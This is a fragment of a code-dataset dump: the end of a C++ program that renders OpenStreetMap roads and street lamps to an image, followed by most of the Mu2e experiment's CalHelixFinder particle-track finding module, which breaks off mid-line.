}\n\n      //\n      // Ways\n      //\n      const auto is_highway = [&](const auto &way) {\n        return has_key(way, strings.highway);\n      };\n\n      std::ranges::transform(group.ways() | std::views::filter(is_highway),\n                             std::back_inserter(roads), [&](const auto &road) {\n                               std::decay_t<decltype(roads)>::value_type result;\n\n                               if (const auto lit_attr =\n                                       value_for_key(road, strings.lit)) {\n                                 result.is_lit = *lit_attr != strings.no;\n                               }\n\n                               std::int64_t node = 0;\n                               result.nodes.reserve(road.refs().size());\n                               for (const auto &delta_ref : road.refs()) {\n                                 node += delta_ref;\n                                 result.nodes.emplace_back(node);\n                                 ++points.at(node).refcount;\n                               }\n\n                               return result;\n                             });\n    }\n  }\n\n  return blob.raw_size();\n}\n\nint main(int argc, char *argv[]) {\n  GOOGLE_PROTOBUF_VERIFY_VERSION;\n\n  if (argc != 3) {\n    spdlog::critical(\"Usage: {} pbf-file out-image-file\", argv[0]);\n    return -1;\n  }\n\n  const auto inputFile = argv[1];\n  const auto outputFile = argv[2];\n\n  //\n  // Parse OSM export\n  //\n\n  std::ifstream file{inputFile, std::ios::binary};\n  if (!file.is_open()) {\n    spdlog::critical(\"Failed to open PBF file \\\"{}\\\".\", inputFile);\n    return -2;\n  }\n\n  std::unordered_map<NodeRef, Node> nodes;\n  std::vector<Road> roads;\n\n  spdlog::info(\"Start parsing of PBF file.\");\n\n  size_t raw_size = 0;\n  while (!file.eof()) {\n    raw_size += read_pbf_segment(file, nodes, roads);\n  }\n\n  spdlog::info(\"Parsed {} bytes of data containing {} nodes and {} ways (with \"\n               \"highway attribute).\",\n               raw_size, nodes.size(), roads.size());\n\n  //\n  // Define canvas\n  //\n  const auto bb = BoundingBox::fromPoints(\n      nodes | std::views::values | std::views::filter([](const auto &point) {\n        return point.refcount > 0 || point.is_street_lamp;\n      }));\n  cv::Mat image = cv::Mat::zeros(1024 * 5 / bb.ratio(), 1024 * 5, CV_8UC3);\n\n  const auto imagePostion = [&](const auto &point) -> cv::Point2d {\n    const auto x = [&](const auto &p) {\n      return (p.x - bb.min.x) / (bb.max.x - bb.min.x) * image.cols;\n    };\n\n    const auto y = [&](const auto &p) {\n      return (p.y - bb.min.y) / (bb.max.y - bb.min.y) * image.rows;\n    };\n\n    return {x(point), y(point)};\n  };\n\n  //\n  // Draw Roads\n  //\n  size_t numLitRoads = 0;\n  size_t numNonLitRoads = 0;\n  size_t numRoadsWithoutLitTag = 0;\n\n  for (const auto &road : roads) {\n    const auto color = [&]() -> cv::Scalar {\n      if (road.is_lit.has_value()) {\n        if (road.is_lit.value()) {\n          ++numLitRoads;\n          return {0, 190, 190};\n        } else {\n          ++numNonLitRoads;\n          return {0, 0, 63};\n        }\n      } else {\n        ++numRoadsWithoutLitTag;\n        return {63, 0, 0};\n      }\n    }();\n\n    for (const auto &[startIndex, endIndex] :\n         ranges::views::zip(road.nodes | ranges::views::drop_last(1),\n                            road.nodes | ranges::views::drop(1))) {\n      const auto &start = nodes.at(startIndex);\n      const auto &end = nodes.at(endIndex);\n      cv::line(image, imagePostion(start), imagePostion(end), color);\n    }\n  }\n  spdlog::info(\"Lit: Yes={}, No={}, Unknown={}.\", numLitRoads, numNonLitRoads,\n               numRoadsWithoutLitTag);\n\n  //\n  // Draw Street Lamps\n  //\n  size_t numStreetLamps = 0;\n  for (const auto &lamp :\n       nodes | std::views::values | std::views::filter([](const auto &point) {\n         return point.is_street_lamp;\n       })) {\n    cv::circle(image, imagePostion(lamp), 2, {0, 255, 255}, cv::FILLED);\n    ++numStreetLamps;\n  }\n  spdlog::info(\"Found {} street lamps.\", numStreetLamps);\n\n  if (!cv::imwrite(outputFile, image)) {\n    spdlog::critical(\"Failed to write output to \\\"{}\\\".\", outputFile);\n    return -3;\n  }\n\n  return 0;\n}\n", "meta": {"hexsha": "5740a5bb59028f6b1af303d1c350e7dd42818852", "size": 11713, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "main.cpp", "max_stars_repo_name": "svenpilz/osm_street_lamps", "max_stars_repo_head_hexsha": "a27869a583cb4353a2c130b46b98e7c455940188", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2021-01-03T12:44:35.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-03T12:44:35.000Z", "max_issues_repo_path": "main.cpp", "max_issues_repo_name": "svenpilz/osm_street_lamps", "max_issues_repo_head_hexsha": "a27869a583cb4353a2c130b46b98e7c455940188", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2021-01-03T12:42:43.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-03T12:42:43.000Z", "max_forks_repo_path": "main.cpp", "max_forks_repo_name": "svenpilz/osm_street_lamps", "max_forks_repo_head_hexsha": "a27869a583cb4353a2c130b46b98e7c455940188", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.4296482412, "max_line_length": 80, "alphanum_fraction": 0.5578417143, "num_tokens": 3012, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2689414213699951, "lm_q1q2_score": 0.13657164456779627}}
{"text": "///////////////////////////////////////////////////////////////////////////////\n// Calorimeter-driven track finding\n// Pattern recognition only, passes results to CalSeedFit\n// P.Murat, G.Pezzullo\n// try to order routines alphabetically\n///////////////////////////////////////////////////////////////////////////////\n#include \"fhiclcpp/ParameterSet.h\"\n\n#include \"CalPatRec/inc/CalHelixFinder_module.hh\"\n\n// framework\n#include \"art/Framework/Principal/Handle.h\"\n#include \"GeometryService/inc/GeomHandle.hh\"\n#include \"GeometryService/inc/DetectorSystem.hh\"\n#include \"art/Framework/Core/ModuleMacros.h\"\n#include \"art_root_io/TFileService.h\"\n\n// conditions\n#include \"ConditionsService/inc/AcceleratorParams.hh\"\n#include \"ConditionsService/inc/ConditionsHandle.hh\"\n#include \"TrackerGeom/inc/Tracker.hh\"\n#include \"BFieldGeom/inc/BFieldManager.hh\"\n#include \"GeometryService/inc/DetectorSystem.hh\"\n#include \"CalorimeterGeom/inc/DiskCalorimeter.hh\"\n#include \"ConfigTools/inc/ConfigFileLookupPolicy.hh\"\n// #include \"CalPatRec/inc/KalFitResult.hh\"\n#include \"RecoDataProducts/inc/StrawHitIndex.hh\"\n#include \"RecoDataProducts/inc/HelixHit.hh\"\n\n#include <boost/accumulators/accumulators.hpp>\n#include <boost/accumulators/statistics/median.hpp>\n#include <boost/accumulators/statistics/stats.hpp>\n#include <boost/accumulators/statistics/moment.hpp>\n#include <boost/algorithm/string.hpp>\n\n#include \"CalPatRec/inc/CalHelixFinderData.hh\"\n\n#include \"Mu2eUtilities/inc/ModuleHistToolBase.hh\"\n#include \"art/Utilities/make_tool.h\"\n#include \"Mu2eUtilities/inc/polyAtan2.hh\"\n\n#include \"TVector2.h\"\n#include \"TSystem.h\"\n#include \"TInterpreter.h\"\n\nusing namespace std;\nusing namespace boost::accumulators;\nusing CLHEP::HepVector;\nusing CLHEP::Hep3Vector;\n\nnamespace mu2e {\n//-----------------------------------------------------------------------------\n// module constructor, parameter defaults are defiend in CalPatRec/fcl/prolog.fcl\n//-----------------------------------------------------------------------------\n  CalHelixFinder::CalHelixFinder(fhicl::ParameterSet const& pset) :\n    art::EDFilter{pset},\n    _diagLevel          (pset.get<int>   (\"diagLevel\"                      )),\n    _debugLevel         (pset.get<int>   (\"debugLevel\"                     )),\n    _printfreq          (pset.get<int>   (\"printFrequency\"                 )),\n    _useAsFilter        (pset.get<int>   (\"useAsFilter\"                    )),\n    _shLabel            (pset.get<string>(\"StrawHitCollectionLabel\"        )),\n    _shfLabel           (pset.get<string>(\"StrawHitFlagCollectionLabel\"    )),\n    _timeclLabel        (pset.get<string>(\"TimeClusterCollectionLabel\"     )),\n    _minNHitsTimeCluster(pset.get<int>   (\"minNHitsTimeCluster\"            )),\n    _tpart              ((TrkParticle::type)(pset.get<int>(\"fitparticle\"))),\n    _fdir               ((TrkFitDirection::FitDirection)(pset.get<int>(\"fitdirection\"))),\n    _hfinder            (pset.get<fhicl::ParameterSet>(\"HelixFinderAlg\",fhicl::ParameterSet()))\n  {\n    consumes<ComboHitCollection>(_shLabel);\n    consumes<StrawHitFlagCollection>(_shfLabel);\n    consumes<TimeClusterCollection>(_timeclLabel);\n\n    std::vector<int> helvals = pset.get<std::vector<int> >(\"Helicities\",vector<int>{Helicity::neghel,Helicity::poshel});\n    for(auto hv : helvals) {\n      Helicity hel(hv);\n      _hels.push_back(hel);\n      produces<HelixSeedCollection>(Helicity::name(hel));\n    }\n    //    produces<HelixSeedCollection>();\n//-----------------------------------------------------------------------------\n// provide for interactive disanostics\n//-----------------------------------------------------------------------------\n    _helTraj          = 0;\n    _timeOffsets      = new fhicl::ParameterSet(pset.get<fhicl::ParameterSet>(\"TimeOffsets\",fhicl::ParameterSet()));\n\n    _data.shLabel     = _shLabel;\n    _data.timeOffsets = _timeOffsets;\n   \n    if (_debugLevel != 0) _printfreq = 1;\n\n    if (_diagLevel != 0) _hmanager = art::make_tool  <ModuleHistToolBase>(pset.get<fhicl::ParameterSet>(\"diagPlugin\"));\n    else                 _hmanager = std::make_unique<ModuleHistToolBase>();\n\n  }\n\n//-----------------------------------------------------------------------------\n// destructor\n//-----------------------------------------------------------------------------\n  CalHelixFinder::~CalHelixFinder() {\n    if (_helTraj) delete _helTraj;\n    delete _timeOffsets;\n  }\n\n//-----------------------------------------------------------------------------\n  void CalHelixFinder::beginJob(){\n    art::ServiceHandle<art::TFileService> tfs;\n    _hmanager->bookHistograms(tfs);\n  }\n\n//-----------------------------------------------------------------------------\n  bool CalHelixFinder::beginRun(art::Run& ) {\n    mu2e::GeomHandle<mu2e::BFieldManager> bfmgr;\n    mu2e::GeomHandle<mu2e::DetectorSystem> det;\n    Hep3Vector vpoint_mu2e = det->toMu2e(Hep3Vector(0.0,0.0,0.0));\n    _bz0 = bfmgr->getBField(vpoint_mu2e).z();\n\n    mu2e::GeomHandle<mu2e::Tracker> th;\n    _tracker = th.get();\n\n    mu2e::GeomHandle<mu2e::Calorimeter> ch;\n    _calorimeter = ch.get();\n\n    _hfinder.setTracker    (_tracker);\n    _hfinder.setCalorimeter(_calorimeter);\n\n    ChannelID cx, co;\n    int       nPlanesPerStation(2);\n    for (int ipl=0; ipl<_tracker->nPlanes(); ipl++) {\n      const Plane*  pln = &_tracker->getPlane(ipl);\n      for (int ipn=0; ipn<pln->nPanels(); ipn++) {\n\tconst Panel* panel = &pln->getPanel(ipn);\n\tint face;\n\tif (panel->id().getPanel() % 2 == 0) face = 0;\n\telse                                 face = 1;\n\tcx.Station = ipl/nPlanesPerStation;//ist;\n\tcx.Plane   = ipl % nPlanesPerStation;\n\tcx.Face    = face;\n\tcx.Panel   = ipn;\n\t//\t    cx.Layer   = il;\n\t_hfResult.orderID (&cx, &co);\n\tint os = co.Station; \n\tint of = co.Face;\n\tint op = co.Panel;\n\n\tint       stationId = os;\n\tint       faceId    = of + stationId*StrawId::_nfaces*FaceZ_t::kNPlanesPerStation;\n\t_hfResult._zFace[faceId] = (panel->getStraw(0).getMidPoint().z()+panel->getStraw(1).getMidPoint().z())/2.;\n\t//-----------------------------------------------------------------------------\n\t// panel caches phi of its center and the z\n\t//-----------------------------------------------------------------------------\n\t_hfResult._phiPanel[faceId*FaceZ_t::kNPanels + op] = TVector2::Phi_0_2pi(polyAtan2(panel->straw0MidPoint().y(),panel->straw0MidPoint().x()));\n      }\t\n    }\n\t   \n    if (_debugLevel > 10){\n      printf(\"//----------------------------------------------//\\n\");\n      printf(\"//     Face      Panel       PHI       Z        //\\n\");\n      printf(\"//----------------------------------------------//\\n\");\n\n      for (int f=0; f<StrawId::_ntotalfaces; ++f){\n\tfloat z  =_hfResult._zFace[f];\n\tfor (int p=0; p<FaceZ_t::kNPanels; ++p){\n\t  float  phi = _hfResult._phiPanel[f*FaceZ_t::kNPanels + p];\n\t  printf(\"//  %5i      %5i     %5.3f    %10.3f //\\n\", f, p, phi, z);\n\t}\n      }\n      printf(\"//----------------------------------//\\n\");\n\n    }\n\n    return true;\n  }\n\n//-----------------------------------------------------------------------------\n// find the input data objects\n//-----------------------------------------------------------------------------\n  bool CalHelixFinder::findData(const art::Event& evt) {\n\n    if (evt.getByLabel(_shLabel, _strawhitsH)) {\n      _chcol = _strawhitsH.product();\n    }\n    else {\n      _chcol  = 0;\n      printf(\" >>> ERROR in CalHelixFinder::findData: StrawHitCollection with label=%s not found.\\n\",\n             _shLabel.data());\n    }\n\n    // art::Handle<mu2e::StrawHitPositionCollection> shposH;\n    // if (evt.getByLabel(_shpLabel,shposH)) {\n    //   _shpcol = shposH.product();\n    // }\n    // else {\n    //   _shpcol = 0;\n    //   printf(\" >>> ERROR in CalHelixFinder::findData: StrawHitPositionCollection with label=%s not found.\\n\",\n    //          _shpLabel.data());\n    // }\n\n    art::Handle<mu2e::StrawHitFlagCollection> shflagH;\n    if (evt.getByLabel(_shfLabel,shflagH)) {\n      _shfcol = shflagH.product();\n    }\n    else {\n      _shfcol = 0;\n      printf(\" >>> ERROR in CalHelixFinder::findData: StrawHitFlagCollection with label=%s not found.\\n\",\n             _shfLabel.data());\n    }\n\n\n    if (evt.getByLabel(_timeclLabel, _timeclcolH)) {\n      _timeclcol = _timeclcolH.product();\n    }\n    else {\n      _timeclcol = 0;\n      printf(\" >>> ERROR in CalHelixFinder::findData: TimeClusterCollection with label=%s not found.\\n\",\n             _timeclLabel.data());\n    }\n//-----------------------------------------------------------------------------\n// done\n//-----------------------------------------------------------------------------\n    return (_chcol != 0) && (_shfcol != 0) /*&& (_shpcol != 0) */&& (_timeclcol != 0);\n  }\n\n//-----------------------------------------------------------------------------\n// event entry point\n//-----------------------------------------------------------------------------\n  bool CalHelixFinder::filter(art::Event& event ) {\n    const char*             oname = \"CalHelixFinder::filter\";\n    //    CalHelixFinderData      hf_result;\n                                        // diagnostic info\n    _data.event     = &event;\n    // _data.nseeds[0] = 0;\n    // _data.nseeds[1] = 0;\n    _iev            = event.id().event();\n    int   nGoodTClusterHits(0);\n\n    if ((_debugLevel > 0) && (_iev%_printfreq) == 0) printf(\"[%s] : START event number %8i\\n\", oname,_iev);\n\n    std::map<Helicity,unique_ptr<HelixSeedCollection>> helcols;\n    int counter(0);\n    for( auto const& hel : _hels) {\n      helcols[hel] = unique_ptr<HelixSeedCollection>(new HelixSeedCollection());\n      _data.nseeds [counter] = 0;\n      ++counter;\n    }\n    //    unique_ptr<HelixSeedCollection>    outseeds(new HelixSeedCollection);\n//-----------------------------------------------------------------------------\n// find the data\n//-----------------------------------------------------------------------------\n    if (!findData(event)) {\n      printf(\"%s ERROR: No straw hits found, RETURN\\n\", oname);\n                                                            goto END;\n    }\n//-----------------------------------------------------------------------------\n// loop over found time peaks - for us, - \"eligible\" calorimeter clusters\n//-----------------------------------------------------------------------------\n    _hfResult._tpart  = _tpart;\n    _hfResult._fdir   = _fdir;\n    _hfResult._chcol  = _chcol;\n    // _hfResult._shpos  = _shpcol;\n    _hfResult._shfcol = _shfcol;\n\n    _data.nTimePeaks  = _timeclcol->size();\n    for (int ipeak=0; ipeak<_data.nTimePeaks; ipeak++) {\n      const TimeCluster* tc = &_timeclcol->at(ipeak);\n      nGoodTClusterHits     = goodHitsTimeCluster(tc);\n      if ( nGoodTClusterHits < _minNHitsTimeCluster)         continue;\n\n      //      HelixSeed          helix_seed;\n      std::vector<HelixSeed>          helix_seed_vec;\n      \n//-----------------------------------------------------------------------------\n// create track definitions for the helix fit from this initial information\n// track fitting objects for this peak\n//-----------------------------------------------------------------------------\n      _hfResult.clearTempVariables();//clearTimeClusterInfo();\n\n      _hfResult._timeCluster    = tc;\n      _hfResult._timeClusterPtr = art::Ptr<mu2e::TimeCluster>(_timeclcolH,ipeak);\n\n//-----------------------------------------------------------------------------\n// fill the face-order hits collector\n//-----------------------------------------------------------------------------\n      _hfinder.fillFaceOrderedHits(_hfResult);\n//-----------------------------------------------------------------------------\n// Step 1: now loop over the two possible helicities. \n//         Find initial helical approximation of a track for both hypothesis\n//-----------------------------------------------------------------------------\n      for (size_t i=0; i<_hels.size(); ++i){\n//-----------------------------------------------------------------------------\n// create track definitions for the helix fit from this initial information\n// track fitting objects for this peak\n//-----------------------------------------------------------------------------\n\tCalHelixFinderData tmpResult(_hfResult);\n\ttmpResult.clearHelixInfo();\n\n\ttmpResult._helicity       = _hels[i];\n\n\tint rc = _hfinder.findHelix(tmpResult);\n\t\n\tif (!rc)                         continue;\n\tHelixSeed     tmp_helix_seed;\n\n\tinitHelixSeed(tmp_helix_seed, tmpResult);\n\thelix_seed_vec.push_back(tmp_helix_seed);\n      }\n      \n      if (helix_seed_vec.size() == 0)                       continue;\n      \n//-----------------------------------------------------------------------------\n// now select the best helix to avoid duplicates\n//-----------------------------------------------------------------------------\n      int    index_best(-1);\n      pickBestHelix(helix_seed_vec, index_best);\n      \n//-----------------------------------------------------------------------------\n// fill seed information\n//-----------------------------------------------------------------------------\n      if ( (index_best>=0) && (index_best < 2) ){\n\tHelicity              hel_best = helix_seed_vec[index_best]._helix._helicity;\n\tHelixSeedCollection*  hcol     = helcols[hel_best].get();\n\thelix_seed_vec[index_best]._status.merge(TrkFitFlag::helixOK);\n\thcol->push_back(helix_seed_vec[index_best]);\n      } else if (index_best == 2){//both helices need to be saved\n\t\n\tfor (unsigned k=0; k<_hels.size(); ++k){\n\t  helix_seed_vec[k]._status.merge(TrkFitFlag::helixOK);\n\t  Helicity              hel_best = helix_seed_vec[k]._helix._helicity;\n\t  HelixSeedCollection*  hcol     = helcols[hel_best].get();\n\t  hcol->push_back(helix_seed_vec[k]);\n\t}\n      }\n\n      // helix_seed_vec[index_best]._status.merge(TrkFitFlag::helixOK);\n      // outseeds->push_back(helix_seed_vec[index_best]);\n      if (_diagLevel > 0) {\n//--------------------------------------------------------------------------------\n// fill diagnostic information\n//--------------------------------------------------------------------------------\n\tint             nhitsMin(15);\n\tdouble          mm2MeV = (3/10.)*_bz0;\n\n\tint loc = _data.nseeds[0];\n\tif (loc < _data.maxSeeds()) {\n\t  int nhits          = helix_seed_vec[index_best]._hhits.size();\n\t  _data.ntclhits[loc]= nGoodTClusterHits;\n\t  _data.nhits[loc]   = nhits;\n\t  _data.radius[loc]  = helix_seed_vec[index_best].helix().radius();\n\t  _data.pT[loc]      = mm2MeV*_data.radius[loc];\n\t  _data.p[loc]       = _data.pT[loc]/std::cos( std::atan(helix_seed_vec[index_best].helix().lambda()/_data.radius[loc]));\n\n\t  _data.chi2XY[loc]   = _hfResult._sxy.chi2DofCircle();\n\t  _data.chi2ZPhi[loc] = _hfResult._szphi.chi2DofLine();\n\n\t  _data.nseeds[0]++;\n\t  _data.good[loc] = 0;\n\t  if (nhits >= nhitsMin) {\n\t    _data.nseeds[1]++;\n\t    _data.good[loc] = 1;\n\t  }\n\t  _data.nStationPairs[loc] = _hfResult._diag.nStationPairs;\n\n\t  _data.dr           [loc] = _hfResult._diag.dr;\n\t  _data.shmeanr      [loc] = _hfResult._diag.straw_mean_radius;\n\t  _data.chi2d_helix  [loc] = _hfResult._diag.chi2d_helix;\n\t  if (_hfResult._diag.chi2d_helix>3) printf(\"[%s] : chi2Helix = %10.3f event number %8i\\n\", oname,_hfResult._diag.chi2d_helix,_iev);\n//-----------------------------------------------------------------------------\n// info of the track candidate after the first loop with findtrack on CalHelixFinderAlg::doPatternRecognition\n//-----------------------------------------------------------------------------\n\t  _data.loopId       [loc] = _hfResult._diag.loopId_4;\n\t  if (_hfResult._diag.loopId_4 == 1) {\n\t    _data.chi2d_loop0       [loc] = _hfResult._diag.chi2_dof_circle_12;\n\t    _data.chi2d_line_loop0  [loc] = _hfResult._diag.chi2_dof_line_13;\n\t    _data.npoints_loop0     [loc] = _hfResult._diag.n_active_11;\n\n\t  }\n\t  if (_hfResult._diag.loopId_4 == 2){\n\t    _data.chi2d_loop1       [loc] = _hfResult._diag.chi2_dof_circle_12;\n\t    _data.chi2d_line_loop1  [loc] = _hfResult._diag.chi2_dof_line_13;\n\t    _data.npoints_loop1     [loc] = _hfResult._diag.n_active_11;\n\t  }\n\n//--------------------------------------------------------------------------------\n// info of the track candidate during the CAlHelixFinderAlg::findTrack loop\n//--------------------------------------------------------------------------------\n\t  int   counter(0);\n\t  for (unsigned i=0; i<_hfResult._hitsUsed.size(); ++i){\n\t    if (_hfResult._hitsUsed[i] != 1)           continue;\n\t    ++counter;\n\t  }\n\t  // for (int f=0; f<StrawId::_ntotalfaces; ++f){\n\t  //   FaceZ_t* facez     = &_hfResult._oTracker[f];\n\t  //   for (int p=0; p<FaceZ_t::kNPanels; ++p){//for (int p=0; p<CalHelixFinderData::kNTotalPanels; ++p){\n\t  // \tPanelZ_t* panelz = &facez->panelZs[p];//&_hfResult._oTracker[p];\n\t  // \tint       nhits  = panelz->fNHits;\n\t  // \tif (nhits == 0)                                  continue;\n\t      \n\t  // \tfor (int i=0; i<nhits; ++i){   \n\t  // \t  //\t\t  ComboHit*\thit = &panelz->_chHitsToProcess.at(i);\n\t  // \t  int index = facez->evalUniqueHitIndex(f,p,i);//p*CalHelixFinderData::kNMaxHitsPerPanel + i;\n\t  // \t  if (_hfResult._hitsUsed[index] != 1)           continue;\n\t\t\n\t  // \t  // double   dzFromSeed = hit->_dzFromSeed;     //distance form the hit used to seed the 3D-search\n\t  // \t  // double   drFromPred = hit->_drFromPred;     //distance from prediction\n\t  // \t  // _data.hitDzSeed[loc][counter] = dzFromSeed;\n\t  // \t  // _data.hitDrPred[loc][counter] = drFromPred;\n\t  // \t  ++counter;\n\t  // \t}//end loop over the hits within a panel\n\t  //   }//end panels loop\n\t  // }//end faces loop\n\t}\n\telse {\n\t  printf(\" N(seeds) > %i, IGNORE SEED\\n\",_data.maxSeeds());\n\t}\n      }\n      \n    }\n//--------------------------------------------------------------------------------\n// fill histograms\n//--------------------------------------------------------------------------------\n    if (_diagLevel > 0) _hmanager->fillHistograms(&_data);\n//-----------------------------------------------------------------------------\n// put reconstructed tracks into the event record\n//-----------------------------------------------------------------------------\n  END:;\n    int    nseeds(0);// = outseeds->size();\n    for(auto const& hel : _hels ) {\n      nseeds += helcols[hel]->size();\n\t// set the flag here: This should be set on initialization FIXME!\n      for(auto & helix : *helcols[hel] ) {\n\thelix._status.merge(TrkFitFlag::CPRHelix);\n      }\n\n      event.put(std::move(helcols[hel]),Helicity::name(hel));\n    }   \n    // event.put(std::move(outseeds));\n//-----------------------------------------------------------------------------\n// filtering\n//-----------------------------------------------------------------------------\n    if (_useAsFilter == 0) return true;\n    else                   return (nseeds >  0);\n }\n\n//-----------------------------------------------------------------------------\n//\n//-----------------------------------------------------------------------------\n  void CalHelixFinder::endJob() {\n    // does this cause the file to close?\n    art::ServiceHandle<art::TFileService> tfs;\n  }\n\n//--------------------------------------------------------------------------------\n// set helix parameters\n//-----------------------------------------------------------------------------\n  void CalHelixFinder::initHelixSeed(HelixSeed& HelSeed, CalHelixFinderData& HfResult) {\n\n    HelixTraj* hel = HfResult.helix();\n\n    double   helixRadius   = 1./fabs(hel->omega());\n    double   impactParam   = hel->d0();\n    double   phi0          = hel->phi0();\n    // double   x0            = -(helixRadius + impactParam)*sin(phi0)*sig;\n    // double   y0            =  (helixRadius + impactParam)*cos(phi0)*sig;\n\n    double   x0            = -(1/hel->omega()+impactParam)*sin(phi0);\n    double   y0            =  (1/hel->omega()+impactParam)*cos(phi0);\n\n    double   dfdz          = 1./hel->tanDip()/helixRadius;\n    double   z0            = hel->z0();\n                                        // center of the helix in the transverse plane\n    Hep3Vector center(x0, y0, 0);\n                                        //define the reconstructed helix parameters\n    HelSeed._helix._rcent    = center.perp();\n    HelSeed._helix._fcent    = center.phi();\n    HelSeed._helix._radius   = helixRadius;\n    HelSeed._helix._lambda   = 1./dfdz*_hfinder._dfdzsign;\n\n    HelSeed._helix._fz0      = phi0 - M_PI/2.*_hfinder._dfdzsign -z0*hel->omega()/hel->tanDip() ;\n\n    HelSeed._helix._helicity = HfResult._helicity;//_dfdzsign > 0 ? Helicity::poshel : Helicity::neghel;\n\n    //include also the values of the chi2d\n    HelSeed._helix._chi2dXY   = HfResult._sxy.chi2DofCircle();\n    HelSeed._helix._chi2dZPhi = HfResult._szphi.chi2DofLine();\n\n                                        //now evaluate the helix T0 using the calorimeter cluster\n    double   mm2MeV        = (3/10.)*_bz0;\n    double   tandip        = hel->tanDip();\n    double   mom           = helixRadius*mm2MeV/std::cos( std::atan(tandip));\n    double   beta          = _tpart.beta(mom);\n    CLHEP::Hep3Vector        gpos = _hfinder._calorimeter->geomUtil().diskToMu2e(HfResult._timeClusterPtr->caloCluster()->diskId(),\n                                                                        HfResult._timeClusterPtr->caloCluster()->cog3Vector());\n    CLHEP::Hep3Vector        tpos = _hfinder._calorimeter->geomUtil().mu2eToTracker(gpos);\n    double   pitchAngle    = M_PI/2. - atan(tandip);\n    double   hel_t0        = HfResult._timeClusterPtr->caloCluster()->time() - (tpos.z() - z0)/sin(pitchAngle)/(beta*CLHEP::c_light);\n\n    HelSeed._t0            = TrkT0(hel_t0, 0.1); //dummy error on T0 FIXME!\n    HelSeed._timeCluster   = HfResult._timeClusterPtr;\n\n    // cluster hits assigned to the reconsturcted Helix\n\n    int nhits = HfResult.nGoodHits();\n    // printf(\"[CalHelixFinder::initHelixSeed] radius = %2.3f x0 = %2.3f y0 = %2.3f dfdz = %2.3e nhits = %i chi2XY = %2.3f chi2PHIZ = %2.3f\\n\",\n    //     helixRadius, center.x(), center.y(), dfdz, nhits, HfResult._sxyw.chi2DofCircle(), HfResult._srphi.chi2DofLine());\n    // printf(\"[CalHelixFinder::initHelixSeed] Index      X          Y         Z          PHI\\n\");\n\n    // double     z_start(0);\n    HelSeed._hhits.setParent(_chcol->parent());\n    for (int i=0; i<nhits; ++i){\n      unsigned        hitId   = HfResult._goodhits[i];\n      ComboHit*       hit     = &HfResult._chHitsToProcess[hitId];//panelz->_chHitsToProcess.at(hitInfo->panelHitIndex);\n\n      ComboHit                hhit(*hit);\n      //      hhit._hphi = shphi;\n      // hhit._flag.merge(StrawHitFlag::resolvedphi);\n\n      HelSeed._hhits.push_back(hhit);\n    }\n  }\n\n//-----------------------------------------------------------------------------\n  int CalHelixFinder::initHelixFinderData(CalHelixFinderData&                Data,\n                                          const TrkParticle&                 TPart,\n                                          const TrkFitDirection&             FDir,\n                                          const ComboHitCollection*          ComboCollection ,\n                                          // const StrawHitPositionCollection*  ShPosCollection ,\n                                          const StrawHitFlagCollection*      ShFlagCollection) {\n    Data._fit         = TrkErrCode::fail;\n    Data._tpart       = TPart;\n    Data._fdir        = FDir;\n\n    Data._chcol       = ComboCollection;\n    // Data._shpos       = ShPosCollection;\n    Data._shfcol      = ShFlagCollection;\n\n    Data._radius      = -1.0;\n    Data._dfdz        = 0.;\n    Data._fz0         = 0.;\n\n    return 0;\n  }\n\n  int  CalHelixFinder::goodHitsTimeCluster(const TimeCluster* TCluster){\n    int   nhits         = TCluster->nhits();\n    int   ngoodhits(0);\n    //    double     minT(500.), maxT(2000.);\n    for (int i=0; i<nhits; ++i){\n      int          index   = TCluster->hits().at(i);\n      StrawHitFlag flag    = _shfcol->at(index);\n      ComboHit     sh      = _chcol ->at(index);\n      int          bkg_hit = flag.hasAnyProperty(StrawHitFlag::bkg);\n      if (bkg_hit)                              continue;\n      //       if ( (sh.time() < minT) || (sh.time() > maxT) )  continue;\n\n      ngoodhits += sh.nStrawHits();\n    }\n\n    return ngoodhits;\n  }\n\n//--------------------------------------------------------------------------------\n// function to select the best Helix among the results of the two helicity hypo\n//--------------------------------------------------------------------------------\n  void  CalHelixFinder::pickBestHelix(std::vector<HelixSeed>& HelVec, int &Index_best){\n    if (HelVec.size() == 1) {\n      Index_best = 0;\n      return;\n    }\n    \n    const HelixSeed           *h1, *h2;\n    const ComboHitCollection  *tlist, *clist;\n    int                        nh1, nh2, natc(0);\n    const mu2e::HelixHit      *hitt, *hitc;\n    \n    h1     = &HelVec[0];\n//------------------------------------------------------------------------------\n// check if an AlgorithmID collection has been created by the process\n//-----------------------------------------------------------------------------\n    tlist  = &h1->hits();\n    nh1    = tlist->size();\n\n    h2     = &HelVec[1];\n//-----------------------------------------------------------------------------\n// at Mu2e, 2 helices with different helicity could be duplicates of each other\n//-----------------------------------------------------------------------------\n    clist  = &h2->hits();\n    nh2    = clist->size();\n\n//-----------------------------------------------------------------------------\n// check the number of common hits\n//-----------------------------------------------------------------------------\n    for (int k=0; k<nh1; ++k){ \n      hitt = &tlist->at(k);\n      for (int l=0; l<nh2; l++){ \n\thitc = &clist->at(l);\n\tif (hitt->index() == hitc->index()) {\n\t  natc += 1;\n\t  break;\n\t}\n      }\n    }\n\n\n    if ((natc > nh1/2.) || (natc > nh2/2.)) {\n\n //-----------------------------------------------------------------------------\n // pick the helix with the largest number of hits\n //-----------------------------------------------------------------------------\n      if (nh2 > nh1) {\n//-----------------------------------------------------------------------------\n// h2 is a winner, no need to save h1\n//-----------------------------------------------------------------------------\n\tIndex_best = 1;\n\treturn;\n      }\n      else if (nh1 > nh2){\n//-----------------------------------------------------------------------------\n// h1 is a winner, mark h2 in hope that it will be OK, continue looping\n//-----------------------------------------------------------------------------\n\tIndex_best = 0;\n\treturn;\n      }\n//-----------------------------------------------------------------------------\n// in case they have the exact amount of hits, pick the one with better chi2dZphi\n//-----------------------------------------------------------------------------\n      if (nh1 == nh2) {\n\tfloat   chi2dZphi_h1 = h1->helix().chi2dZPhi();\n\tfloat   chi2dZphi_h2 = h2->helix().chi2dZPhi();\n\tif (chi2dZphi_h1 